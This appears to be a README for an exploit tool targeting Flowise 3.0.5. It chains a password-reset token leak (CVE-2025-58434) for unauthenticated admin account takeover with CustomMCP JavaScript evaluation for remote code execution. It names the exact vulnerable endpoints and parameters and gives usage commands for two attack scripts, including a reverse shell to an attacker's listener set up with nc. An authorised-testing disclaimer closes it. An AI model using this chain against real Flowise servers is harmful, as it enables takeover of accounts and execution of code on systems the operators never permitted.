
Exploit chain for Flowise 3.0.5: unauthenticated account takeover via password-reset token disclosure (CVE-2025-58434) chained to CustomMCP JavaScript evaluation for remote code execution.
Two Flowise 3.0.5 issues, chained:
POST /api/v1/account/forgot-password returns the target user's tempToken
directly in the JSON response. Feed it to POST /api/v1/account/reset-password
to set a known password for any account, including the first admin -> full
unauthenticated account takeover.mcpServerConfig server-side JavaScript evaluation.
With a session and workspace API key (from step 1),
POST /api/v1/node-load-method/customMCP with loadMethod=listActions
evaluates the mcpServerConfig string as JavaScript in the Flowise process,
giving require('child_process').exec() RCE. (Separate Flowise issue used
here only to turn the ATO into code execution; no CVE assigned at time of
writing.)CVE: CVE-2025-58434
python3 -m pip install requests
flowise_ato_foothold.py - full chain (ATO -> API key -> CustomMCP reverse shell)python3 flowise_ato_foothold.py <LHOST> <LPORT> [TARGET_IP] [FLOWISE_VHOST]
# have `nc -lvnp <LPORT>` ready
flowise_customMCP_rce.py - CustomMCP RCE only (needs an API key)python3 flowise_customMCP_rce.py '<command>' '<FLOWISE_API_KEY>'
For authorised security testing and education only. Only run this against systems you own or have explicit written permission to test.
Author: r3vpwnx